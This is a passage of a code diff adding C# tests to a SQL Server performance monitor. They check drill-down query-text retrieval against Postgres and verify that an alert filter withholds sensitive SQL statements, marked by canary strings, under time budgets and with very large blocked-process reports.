+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live drill-down text test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        var digests = new[]
+        {
+            System.Security.Cryptography.SHA256.HashData(System.Text.Encoding.UTF8.GetBytes("d10 dim only")),
+            System.Security.Cryptography.SHA256.HashData(System.Text.Encoding.UTF8.GetBytes("d10 inline wins")),
+            System.Security.Cryptography.SHA256.HashData(System.Text.Encoding.UTF8.GetBytes("d10 neither")),
+        };
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var end = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(1);
+            var windowStart = end.AddHours(-4);
+            var dimensionText = "SELECT dimension_only " + new string('d', 800);
+
+            foreach (var (digest, dimText) in new[] { (digests[0], dimensionText), (digests[1], "SELECT dimension_loses") })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO query_text_dim (digest, query_text, last_seen) VALUES ($1, $2, $3) ON CONFLICT (digest) DO NOTHING",
+                    digest, dimText, DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+            }
+
+            /* plan: (plan hash, older inline text, newest inline text, digest). The newest row is the one the read keeps. */
+            var plans = new (string PlanHash, string? Older, string? Newest, byte[] Digest)[]
+            {
+                ("0xPH_DIM", "SELECT older_inline_is_not_the_newest", null, digests[0]),
+                ("0xPH_INLINE", null, "", digests[1]),
+                ("0xPH_NONE", null, null, digests[2]),
+            };
+
+            foreach (var plan in plans)
+            {
+                for (var snapshot = 0; snapshot < 2; snapshot++)
+                {
+                    var newest = snapshot == 1;
+                    await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash,
+     creation_time, execution_count, min_worker_time, max_worker_time, min_grant_kb, max_grant_kb,
+     min_spills, max_spills, query_text, query_text_digest, delta_execution_count)
+VALUES ($1, $2, $3, $4, 'FetchDb', '0xQH_DIM', $5, $6, 500, 20000, 400000, 1024, 2048, 0, 0, $7, $8, 25)",
+                        CollectionIdGenerator.Next(),
+                        DateTime.SpecifyKind(windowStart.AddMinutes(30 + (snapshot * 60)), DateTimeKind.Unspecified),
+                        ServerId, ServerName, plan.PlanHash, DateTime.SpecifyKind(windowStart.AddDays(-2), DateTimeKind.Unspecified),
+                        (object?)(newest ? plan.Newest : plan.Older) ?? DBNull.Value, plan.Digest);
+                }
+            }
+
+            var text = new Dictionary<string, string?>();
+            using (var cmd = new NpgsqlCommand(PgDrillDownCollector.ParameterSensitiveInlineTextSql, connection))
+            {
+                cmd.Parameters.AddWithValue(ServerId);
+                cmd.Parameters.AddWithValue(windowStart);
+                cmd.Parameters.AddWithValue(end);
+                cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text, Value = plans.Select(_ => "FetchDb").ToArray() });
+                cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text, Value = plans.Select(_ => "0xQH_DIM").ToArray() });
+                cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text, Value = plans.Select(p => p.PlanHash).ToArray() });
+                await using var reader = await cmd.ExecuteReaderAsync(ct);
+                while (await reader.ReadAsync(ct))
+                    text[reader.GetString(2)] = reader.IsDBNull(3) ? null : reader.GetString(3);
+            }
+
+            Assert.Equal(3, text.Count);
+            /* Fact payload NULL, text only in the dimension: the whole dimension text, uncut. */
+            Assert.Equal(dimensionText, text["0xPH_DIM"]);
+            /* Inline text wins over the dimension's, even when it is empty (the view's COALESCE). */
+            Assert.Equal("", text["0xPH_INLINE"]);
+            /* No inline text and no dimension row for the digest: NULL, which the reader leaves out. */
+            Assert.Null(text["0xPH_NONE"]);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteRowsAsync(cleanup, cleanupCt);
+                foreach (var digest in digests)
+                    await DarlingMcpTestData.ExecAsync(cleanup, cleanupCt, "DELETE FROM query_text_dim WHERE digest = $1", digest);
+            });
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[] { "blocked_process_reports", "dmv_blocking_snapshots", "query_stats" })
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", ServerId);
+
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", ServerId);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterAlertTests.cs b/Darling/Darling.Tests/StatementFilterAlertTests.cs
new file mode 100644
index 0000000000..6c0e41e08f
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterAlertTests.cs
@@ -0,0 +1,602 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320 (part of #4348): alert notifications go through the statement filter. The engine's <c>FireAsync</c>
+/// filters every outcome before it logs or delivers it; the finding senders filter a finding before they send or
+/// record it. These pins run the real engine against a fake deliverer, so an alert that carries a statement or a
+/// report in its details, its attachments or its short message reaches the deliverer withheld.
+/// </summary>
+[Collection("timing")]
+public sealed class StatementFilterAlertTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    /// <summary>A blocked-process report whose two input buffers hold the canary and the plain statement.</summary>
+    internal static string ReportXml() =>
+        "<blocked-process-report monitorLoop=\"1\"><blocked-process><process id=\"p1\" spid=\"55\">"
+        + "<inputbuf>" + StatementScrubCanary.CanaryStatement + "</inputbuf></process></blocked-process>"
+        + "<blocking-process><process id=\"p2\" spid=\"155\"><inputbuf>" + StatementScrubCanary.PlainStatement
+        + "</inputbuf></process></blocking-process></blocked-process-report>";
+
+    /// <summary>Every string an outcome would put in front of a channel, joined, so one needle search covers it.</summary>
+    internal static string Everything(AlertOutcome outcome)
+    {
+        var parts = new List<string?> { outcome.DetailText, outcome.ShortMessage, outcome.CurrentValue, outcome.ThresholdValue };
+        parts.AddRange(Everything(outcome.Context));
+        return string.Join("\n", parts.Where(p => p is not null));
+    }
+
+    internal static IEnumerable<string?> Everything(AlertContext? context)
+    {
+        if (context is null)
+        {
+            yield break;
+        }
+
+        yield return context.AttachmentXml;
+        foreach (var item in context.Details)
+        {
+            yield return item.Heading;
+            yield return item.Body;
+            foreach (var (label, value) in item.Fields)
+            {
+                yield return label;
+                yield return value;
+            }
+
+            foreach (var record in item.Records)
+            {
+                yield return record.Summary;
+                foreach (var (label, text) in record.Texts)
+                {
+                    yield return label;
+                    yield return text;
+                }
+            }
+        }
+
+        foreach (var incident in (context.Incidents ?? new List<AlertIncident>()).Where(i => i is not null))
+        {
+            foreach (var involved in incident.InvolvedObjects)
+            {
+                yield return involved;
+            }
+
+            yield return incident.Attachment?.Xml;
+            foreach (var field in incident.DetailFields ?? Array.Empty<AlertIncidentField>())
+            {
+                yield return field.Value;
+            }
+        }
+    }
+
+    internal static void AssertNoSecret(string text)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+        }
+    }
+
+    internal static AlertEngineTests.Harness BlockingHarness(out AlertEngineTests.Harness h)
+    {
+        h = new AlertEngineTests.Harness();
+        h.Settings.BlockingEnabled = true;
+        var row = AlertEngineTests.BlockingRow(55);
+        row.BlockedSqlText = StatementScrubCanary.CanaryStatement;
+        row.BlockingSqlText = StatementScrubCanary.PlainStatement;
+        row.BlockedProcessReportXml = ReportXml();
+        h.Adapter.Blocking.Add(row);
+        return h;
+    }
+
+    [Fact]
+    public async Task Engine_BlockingAlert_DeliversDetailsAndReportWithTheStatementWithheld()
+    {
+        var h = BlockingHarness(out _);
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        var everything = Everything(outcome);
+        AssertNoSecret(everything);
+        Assert.Contains(Marker, everything, StringComparison.Ordinal);
+        /* The rest of the alert is unchanged: the plain statement, the report's other buffer and the database. */
+        Assert.Contains(StatementScrubCanary.PlainStatement, everything, StringComparison.Ordinal);
+        Assert.Contains("StackOverflow", everything, StringComparison.Ordinal);
+        Assert.NotNull(Assert.Single(outcome.Context!.Incidents!).Attachment);
+        var attachment = outcome.Context.Incidents![0].Attachment!;
+        Assert.Contains(Marker, attachment.Xml, StringComparison.Ordinal);
+        Assert.Contains(StatementScrubCanary.PlainStatement, attachment.Xml, StringComparison.Ordinal);
+        Assert.NotNull(System.Xml.Linq.XDocument.Parse(attachment.Xml));
+    }
+
+    [Fact]
+    public async Task Engine_BlockingAlert_FlatDetailTextIsRebuiltFromTheFilteredContext()
+    {
+        var h = BlockingHarness(out _);
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        /* The engine's flat text is the flattening of its context; after the filter it still is, so the two
+           surfaces a channel renders (structured details and flat text) say the same thing. */
+        Assert.False(string.IsNullOrEmpty(outcome.DetailText));
+        Assert.Equal(AlertContextBuilders.ContextToDetailText(outcome.Context), outcome.DetailText);
+        Assert.Contains(Marker, outcome.DetailText, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Engine_LongRunningQueryAlert_WithholdsTheQueryTextAndTheToastBody()
+    {
+        var h = new AlertEngineTests.Harness();
+        h.Settings.LongRunningQueryEnabled = true;
+        h.Adapter.LongRunning.Add(new LongRunningQueryInfo
+        {
+            SessionId = 71,
+            DatabaseName = "StackOverflow",
+            QueryText = StatementScrubCanary.CanaryStatement,
+            ElapsedSeconds = 45 * 60,
+            CpuTimeMs = 1000,
+            QueryHash = "0x9AAF0129E4E9AD07",
+        });
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        var everything = Everything(outcome);
+        AssertNoSecret(everything);
+        Assert.Contains(Marker, everything, StringComparison.Ordinal);
+        Assert.Contains("71", everything, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Engine_LongRunningQueryAlert_APlainQueryReachesTheDelivererUnchanged()
+    {
+        var h = new AlertEngineTests.Harness();
+        h.Settings.LongRunningQueryEnabled = true;
+        h.Adapter.LongRunning.Add(new LongRunningQueryInfo
+        {
+            SessionId = 71,
+            DatabaseName = "StackOverflow",
+            QueryText = StatementScrubCanary.PlainStatement,
+            ElapsedSeconds = 45 * 60,
+            CpuTimeMs = 1000,
+            QueryHash = "0x9AAF0129E4E9AD07",
+        });
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var everything = Everything(Assert.Single(h.Deliverer.Outcomes));
+        Assert.Contains("canary_plain_ssf", everything, StringComparison.Ordinal);
+        Assert.DoesNotContain(Marker, everything, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Engine_MuteRuleKeyedOnTheRawText_StillMutes_WhileTheDeliveredOutcomeIsFiltered()
+    {
+        var h = new AlertEngineTests.Harness
+        {
+            /* A rule that matches the statement as stored (before the filter existed): it is asked about the
+               RAW text, so it still matches and the alert is recorded as muted. */
+            IsMuted = context => context.QueryText?.Contains("canary_ssf", StringComparison.Ordinal) == true,
+        };
+        h.Settings.LongRunningQueryEnabled = true;
+        h.Adapter.LongRunning.Add(new LongRunningQueryInfo
+        {
+            SessionId = 71,
+            DatabaseName = "StackOverflow",
+            QueryText = StatementScrubCanary.CanaryStatement,
+            ElapsedSeconds = 45 * 60,
+            CpuTimeMs = 1000,
+            QueryHash = "0x9AAF0129E4E9AD07",
+        });
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        Assert.True(outcome.Muted);
+        AssertNoSecret(Everything(outcome));
+    }
+
+    [Fact]
+    public void Apply_AnAlertWithNothingNamed_ComesBackAsTheSameInstance()
+    {
+        var context = new AlertContext();
+        var item = new AlertDetailItem { Heading = "Blocking Chain #1" };
+        item.Fields.Add(("Blocked Query", StatementScrubCanary.PlainStatement));
+        context.Details.Add(item);
+        context.AttachmentXml = ReportXml().Replace(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement, StringComparison.Ordinal);
+        var outcome = new AlertOutcome(
+            "1", "SRV", "Blocking Detected", "1", "1", context,
+            AlertContextBuilders.ContextToDetailText(context), null, null, false, null, "short");
+
+        Assert.Same(outcome, AlertStatementFilter.Apply(outcome));
+        Assert.Same(context, AlertStatementFilter.Apply(context));
+    }
+
+    [Fact]
+    public void Apply_JudgesEveryValueAnAlertCarries()
+    {
+        var context = new AlertContext { AttachmentXml = ReportXml(), AttachmentFileName = "blocked_process_report.xml" };
+        var item = new AlertDetailItem { Heading = StatementScrubCanary.CanaryStatement, Body = StatementScrubCanary.CanaryStatement };
+        item.Fields.Add(("Blocked Query", StatementScrubCanary.CanaryStatement));
+        item.Fields.Add(("Database", "StackOverflow"));
+        item.Records.Add(new AlertDetailRecord(1, StatementScrubCanary.CanaryStatement,
+            new List<(string Label, string Text)> { ("Query Text", StatementScrubCanary.CanaryStatement), ("Other", StatementScrubCanary.PlainStatement) }));
+        context.Details.Add(item);
+        context.Incidents = new List<AlertIncident>
+        {
+            new("key", new[] { "dbo.t" }, DetailFields: new[] { new AlertIncidentField("Victim SQL", StatementScrubCanary.CanaryStatement) },
+                Attachment: new AlertIncidentAttachment(ReportXml(), AlertIncidentAttachment.BlockedProcessReportFileName)),
+        };
+
+        var filtered = AlertStatementFilter.Apply(context)!;
+
+        Assert.NotSame(context, filtered);
+        var everything = string.Join("\n", Everything(filtered).Where(p => p is not null));
+        AssertNoSecret(everything);
+        Assert.Contains(StatementScrubCanary.PlainStatement, everything, StringComparison.Ordinal);
+        Assert.Equal("StackOverflow", filtered.Details[0].Fields[1].Value);
+        Assert.Equal("blocked_process_report.xml", filtered.AttachmentFileName);
+        Assert.Equal("key", filtered.Incidents![0].DedupKey);
+        Assert.Equal(AlertIncidentAttachment.BlockedProcessReportFileName, filtered.Incidents[0].Attachment!.FileName);
+
+        /* The original is untouched: a context is shared with the caller's own state. */
+        Assert.Contains(StatementScrubCanary.CanaryStatement, context.Details[0].Fields[0].Value, StringComparison.Ordinal);
+        Assert.Contains("S3cret-canary-ssf", context.AttachmentXml, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Apply_DetailTextThatIsNotTheFlatteningIsJudgedWhole()
+    {
+        var context = new AlertContext();
+        var outcome = new AlertOutcome(
+            "1", "SRV", "Self Alert", "1", "1", context,
+            "The collector failed on " + StatementScrubCanary.CanaryStatement, null, null, false, null,
+            "short " + StatementScrubCanary.CanaryStatement);
+
+        var filtered = AlertStatementFilter.Apply(outcome);
+
+        Assert.Equal(Marker, filtered.DetailText);
+        Assert.Equal(Marker, filtered.ShortMessage);
+    }
+
+    [Fact]
+    public void Apply_AFailureDeliversTheAlertWithItsDetailsAndAttachmentsDropped()
+    {
+        var context = new AlertContext { AttachmentXml = ReportXml(), AttachmentFileName = "blocked_process_report.xml" };
+        /* A null item cannot be read: the filter must fail closed, not pass the alert through. */
+        context.Details.Add(new AlertDetailItem { Heading = "ok" });
+        context.Details.Add(null!);
+        context.Incidents = new List<AlertIncident>
+        {
+            new("key", new[] { "dbo.t" }, DetailFields: new[] { new AlertIncidentField("Victim SQL", StatementScrubCanary.CanaryStatement) },
+                Attachment: new AlertIncidentAttachment(ReportXml(), AlertIncidentAttachment.BlockedProcessReportFileName)),
+        };
+        var outcome = new AlertOutcome(
+            "1", "SRV", "Blocking Detected", "1", "1", context, "flat " + StatementScrubCanary.CanaryStatement,
+            null, null, false, null, "short " + StatementScrubCanary.CanaryStatement);
+
+        var filtered = AlertStatementFilter.Apply(outcome);
+
+        Assert.Empty(filtered.Context!.Details);
+        Assert.Null(filtered.Context.AttachmentXml);
+        Assert.Null(filtered.Context.AttachmentFileName);
+        var incident = Assert.Single(filtered.Context.Incidents!);
+        Assert.Equal("key", incident.DedupKey);
+        Assert.Null(incident.Attachment);
+        Assert.Null(incident.DetailFields);
+        Assert.Equal(Marker, filtered.DetailText);
+        Assert.Equal(Marker, filtered.ShortMessage);
+        AssertNoSecret(Everything(filtered));
+    }
+
+    [Fact]
+    public void Apply_AQuerySetThatSlowsTheJudge_FinishesInsideTheBudget()
+    {
+        /* Many long values built to make the judge work: nested gaps and unterminated comments. Past the budget a value
+           is withheld unjudged, so the work is bounded however many arrive.
+
+           #5459: this asserted `took < 1950 ms` on the real clock, so a runner that stalled for a moment (a collection,
+           a descheduled thread) failed it though the budget logic was fine. The budget's clock is now a stepped one:
+           every judge call is charged 50 ms, so the budget (1.5 s, plus a little earned per value) is spent after a few
+           dozen of the 800 calls, on any machine. The real judge still runs on every value it is given. The wall-clock
+           bound is kept at 10x only to catch a hang. */
+        var context = new AlertContext();
+        for (var i = 0; i < 400; i++)
+        {
+            var item = new AlertDetailItem { Heading = "Query " + i };
+            var gap = string.Concat(Enumerable.Repeat("/* " + i + " */ -- x\n ", 600));
+            item.Fields.Add(("Query Text", "create " + gap + " /* never closed " + new string('a', 20_000)));
+            context.Details.Add(item);
+        }
+
+        var step = TimeSpan.FromMilliseconds(50);
+        var budget = SteppingBudget(step);
+        var stopwatch = Stopwatch.StartNew();
+        AlertContext filtered;
+        using (AlertStatementFilter.UseBudget(() => budget))
+        {
+            filtered = AlertStatementFilter.Apply(context)!;
+        }
+
+        stopwatch.Stop();
+
+        Assert.True(stopwatch.ElapsedMilliseconds < 19_500, "took " + stopwatch.ElapsedMilliseconds + " ms");
+        Assert.Equal(400, filtered.Details.Count);
+        Assert.True(budget.Spent, "the budget did not run out");
+        Assert.True(budget.Unjudged > 0, "nothing was withheld unjudged");
+        // The judge ran only while the budget was open: it is charged exactly one step per call, so the time charged
+        // can pass the limit by at most the one call that crossed the line. That is the bound, in the budget's own time.
+        Assert.True(budget.Elapsed < budget.Limit + step, $"charged {budget.Elapsed} against a limit of {budget.Limit}");
+    }
+
+    [Fact]
+    public void ApplyFinding_JudgesTheContextAndTheProse()
+    {
+        var context = new AlertContext();
+        var item = new AlertDetailItem { Heading = "Top Cpu Queries" };
+        item.Fields.Add(("Query Text", StatementScrubCanary.CanaryStatement));
+        context.Details.Add(item);
+        var alert = new FindingAlert(
+            "Analysis: High CPU", "SRV", "1", "1", "101", context, 0.9, 0.5,
+            "prose " + StatementScrubCanary.CanaryStatement, true);
+
+        var filtered = AlertStatementFilter.Apply(alert);
+
+        Assert.NotSame(alert, filtered);
+        Assert.Equal(Marker, filtered.DetailText);
+        AssertNoSecret(string.Join("\n", Everything(filtered.Context)));
+        Assert.Equal("Analysis: High CPU", filtered.MetricName);
+        Assert.Equal(0.9, filtered.Severity);
+
+        var clean = alert with { DetailText = "prose", Context = new AlertContext() };
+        Assert.Same(clean, AlertStatementFilter.Apply(clean));
+    }
+
+    [Fact]
+    public void ApplyFindings_ReturnsTheSameListWhenNothingIsNamed_AndOnlyTheNamedAlertIsReplaced()
+    {
+        var clean = new FindingAlert("A", "SRV", "1", "1", "101", new AlertContext(), 0.9, 0.5, "plain", true);
+        var named = new FindingAlert("B", "SRV", "1", "1", "101", new AlertContext(), 0.9, 0.5, StatementScrubCanary.CanaryStatement, true);
+
+        var untouched = new List<FindingAlert> { clean };
+        Assert.Same(untouched, AlertStatementFilter.Apply(untouched));
+
+        var both = new List<FindingAlert> { clean, named };
+        var filtered = AlertStatementFilter.Apply(both);
+        Assert.Same(clean, filtered[0]);
+        Assert.Equal(Marker, filtered[1].DetailText);
+        Assert.Equal(StatementScrubCanary.CanaryStatement, both[1].DetailText);
+    }
+
+    [Fact]
+    public async Task Engine_AFourMegabyteReport_ReachesTheDelivererFilteredNotWithheldWhole()
+    {
+        await StatementFilterWarmUp.EnsureAsync();
+        using var pinned = UnspendableBudget();
+        var h = BlockingHarness(out _);
+        /* One report with a 4 MB tail of harmless elements: the walk reads all of it, withholds only the
+           canary statement, and does not run out of budget. */
+        h.Adapter.Blocking[0].BlockedProcessReportXml = ReportXml().Replace(
+            "</blocked-process-report>",
+            string.Concat(Enumerable.Repeat("<note>" + new string('x', 400) + "</note>", 10_000)) + "</blocked-process-report>",
+            StringComparison.Ordinal);
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        AssertNoSecret(Everything(outcome));
+        var xml = Assert.Single(outcome.Context!.Incidents!).Attachment!.Xml;
+        Assert.True(xml.Length > 4_000_000, "the report was withheld whole: " + xml.Length);
+        Assert.Contains(StatementScrubCanary.PlainStatement, xml, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Apply_AFourMegabyteReport_ComesBackFilteredNotWithheldWhole()
+    {
+        StatementFilterWarmUp.Ensure();
+        using var pinned = UnspendableBudget();
+        var report = ReportXml().Replace(
+            "</blocked-process-report>",
+            string.Concat(Enumerable.Repeat("<note>" + new string('x', 400) + "</note>", 10_000)) + "</blocked-process-report>",
+            StringComparison.Ordinal);
+        var context = new AlertContext { AttachmentXml = report };
+
+        var filtered = AlertStatementFilter.Apply(context)!;
+
+        /* #5459: this asserted `took < 1950 ms` under the real 1.5 s + 0.5 s per MB wall-clock budget, so a slow runner
+           withheld the document whole and failed it. The budget is pinned so it cannot run out; the proof that a
+           document past the budget is withheld is Apply_ABudgetAlreadySpent_WithholdsTheDocumentWholeAndEveryValue. */
+        Assert.Contains(StatementScrubCanary.PlainStatement, filtered.AttachmentXml!, StringComparison.Ordinal);
+        Assert.True(filtered.AttachmentXml!.Length > 4_000_000, "the report was withheld whole: " + filtered.AttachmentXml.Length);
+        AssertNoSecret(filtered.AttachmentXml!);
+    }
+
+    /// <summary>A budget that cannot run out on a slow runner (#5459): one hour, which is above the 10 s cap a budget
+    /// grows to, so it stays one hour. Every clean value and document comes back as it went in.</summary>
+    internal static IDisposable UnspendableBudget() =>
+        AlertStatementFilter.UseBudget(() => new SensitiveStatements.JudgeBudget(TimeSpan.FromHours(1)));
+
+    /// <summary>A budget that is already spent when the filter first looks at it (#5459): an hour of elapsed time is
+    /// charged up front, which no document can earn back (the cap is 10 s). The real judge still runs, so nothing is
+    /// faked except the time the budget has already been charged.</summary>
+    private static SensitiveStatements.JudgeBudget SpentBudget()
+    {
+        var budget = new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget);
+        budget.AddElapsed(TimeSpan.FromHours(1));
+        Assert.True(budget.Spent);
+        return budget;
+    }
+
+    [Fact]
+    public void Apply_ABudgetAlreadySpent_WithholdsTheDocumentWholeAndEveryValue()
+    {
+        // #5459: the other half of the pinned budget. Past the budget a value is withheld unjudged, never passed through.
+        StatementFilterWarmUp.Ensure();
+        var report = ReportXml().Replace(
+            "</blocked-process-report>",
+            string.Concat(Enumerable.Repeat("<note>" + new string('x', 400) + "</note>", 10_000)) + "</blocked-process-report>",
+            StringComparison.Ordinal);
+        var context = new AlertContext { AttachmentXml = report };
+        var item = new AlertDetailItem { Heading = "Plain" };
+        item.Fields.Add(("Query Text", StatementScrubCanary.PlainStatement));
+        context.Details.Add(item);
+
+        SensitiveStatements.JudgeBudget? made = null;
+        using (AlertStatementFilter.UseBudget(() => made = SpentBudget()))
+        {
+            var filtered = AlertStatementFilter.Apply(context)!;
+
+            Assert.Equal(Marker, filtered.AttachmentXml);
+            var field = Assert.Single(Assert.Single(filtered.Details).Fields);
+            Assert.Equal(Marker, field.Value);
+            Assert.DoesNotContain(StatementScrubCanary.PlainStatement, string.Join(Environment.NewLine, Everything(filtered)), StringComparison.Ordinal);
+        }
+
+        Assert.NotNull(made);
+        Assert.True(made!.Unjudged > 0, "nothing was counted unjudged");
+        Assert.Equal(0, made.Named);
+    }
+
+    [Fact]
+    public void ApplyFinding_ABudgetAlreadySpent_WithholdsThePlainProse()
+    {
+        StatementFilterWarmUp.Ensure();
+        var alert = new FindingAlert("Analysis: High CPU", "SRV", "1", "1", "101", new AlertContext(), 0.9, 0.5, "plain prose", true);
+
+        using (AlertStatementFilter.UseBudget(SpentBudget))
+        {
+            Assert.Equal(Marker, AlertStatementFilter.Apply(alert).DetailText);
+        }
+
+        Assert.Equal("plain prose", AlertStatementFilter.Apply(alert).DetailText);
+    }
+
+    /// <summary>A report with a 4 MB tail of harmless elements, made different per <paramref name="distinct"/>
+    /// so no two share a string (#5477).</summary>
+    private static string BigReport(int distinct) =>
+        ReportXml().Replace(
+            "</blocked-process-report>",
+            string.Concat(Enumerable.Repeat("<note>" + distinct.ToString(System.Globalization.CultureInfo.InvariantCulture) + new string('x', 399) + "</note>", 10_000))
+                + "</blocked-process-report>",
+            StringComparison.Ordinal);
+
+    private static AlertEngineTests.Harness ThreeIncidentHarness()
+    {
+        var h = new AlertEngineTests.Harness();
+        h.Settings.BlockingEnabled = true;
+        for (var i = 0; i < 3; i++)
+        {
+            var row = AlertEngineTests.BlockingRow(55 + i);
+            row.ContentiousObject = "StackOverflow.dbo.Table" + i.ToString(System.Globalization.CultureInfo.InvariantCulture);
+            row.BlockedSqlText = StatementScrubCanary.CanaryStatement;
+            row.BlockingSqlText = StatementScrubCanary.PlainStatement;
+            row.BlockedProcessReportXml = BigReport(i);
+            h.Adapter.Blocking.Add(row);
+        }
+
+        return h;
+    }
+
+    [Fact]
+    public async Task Engine_ThreeIncidentsWithDifferentFourMegabyteReports_EachReachesTheDelivererFilteredNotWithheldWhole()
+    {
+        // #5477: the budget grows with the distinct documents it judges, so the third report is not starved by the first two.
+        await StatementFilterWarmUp.EnsureAsync();
+        using var pinned = UnspendableBudget();
+        var h = ThreeIncidentHarness();
+
+        await h.Build().EvaluateServerAsync(AlertEngineTests.Harness.Snapshot());
+
+        var outcome = Assert.Single(h.Deliverer.Outcomes);
+        AssertNoSecret(Everything(outcome));
+        var incidents = outcome.Context!.Incidents!;
+        Assert.Equal(3, incidents.Count);
+        foreach (var incident in incidents)
+        {
+            var xml = incident.Attachment!.Xml;
+            Assert.True(xml.Length > 4_000_000, "a report was withheld whole: " + xml.Length);
+            Assert.Contains(StatementScrubCanary.PlainStatement, xml, StringComparison.Ordinal);
+            Assert.Contains(Marker, xml, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ApplyCore_ThreeIncidentsWithOneBlockingAlertContext_JudgesEachDistinctReportOnce()
+    {
+        // The engine's own context: the alert's attachment is the first incident's report (the same string).
+        StatementFilterWarmUp.Ensure();
+        var h = ThreeIncidentHarness();
+        var context = AlertContextBuilders.BuildBlockingContext("SRV", h.Adapter.Blocking, Array.Empty<string>())!;
+        Assert.Equal(3, context.Incidents!.Count);
+        Assert.Same(context.AttachmentXml, context.Incidents[0].Attachment!.Xml);
+
+        // #5459: the filtered result is read under a budget that cannot run out (a slow runner withheld the third report).
+        var pinned = new SensitiveStatements.JudgeBudget(TimeSpan.FromHours(1));
+        var filtered = AlertStatementFilter.ApplyCore(context, pinned)!;
+        Assert.Equal(3, filtered.Incidents!.Count(i => i.Attachment!.Xml.Length > 4_000_000));
+
+        // The accounting is read off a budget that starts where production's does. Earning and the memo do not depend on
+        // whether the time ran out, so a slow runner changes neither number.
+        var budget = new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget);
+        AlertStatementFilter.ApplyCore(context, budget);
+
+        // Three distinct reports: the alert-level copy of the first one was a memo hit, not a second walk.
+        Assert.Equal(3, budget.DocumentPasses);
+        Assert.Equal(3, pinned.DocumentPasses);
+        // And the budget earned 0.5 s per MB of each of them (a little under 2.0 s each, so about 7.4 s), not 1.5 s in all.
+        Assert.InRange(budget.Limit, TimeSpan.FromSeconds(7.25), TimeSpan.FromSeconds(8.5));
+    }
+
+    /// <summary>A budget whose clock moves <paramref name="step"/> on every read, so each judge call is charged exactly
+    /// <paramref name="step"/> however fast or slow the machine is (#5459). The real judge still runs.</summary>
+    private static SensitiveStatements.JudgeBudget SteppingBudget(TimeSpan step)
+    {
+        var now = TimeSpan.Zero;
+        return new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget, clock: () => now += step);
+    }
+
+    [Fact]
+    public void ApplyCore_ThreeIncidents_ABudgetThatRunsOutMidway_WithholdsWholeAndKeepsTheAccounting()
+    {
+        // #5459: the cause of the old "expected 3, actual 2". The filter judges under a wall-clock budget, and a runner
+        // slow enough to spend it withholds a report whole. Here the clock charges 50 ms per judge call, so the budget
+        // (1.5 s plus about 2 s a report, against about 10,000 values a report) is spent part of the way in, on any
+        // machine. A report the budget was spent on comes back as the marker, nothing named leaks, and the numbers the
+        // test above reads (passes, limit) are the same whether the time ran out or not.
+        StatementFilterWarmUp.Ensure();
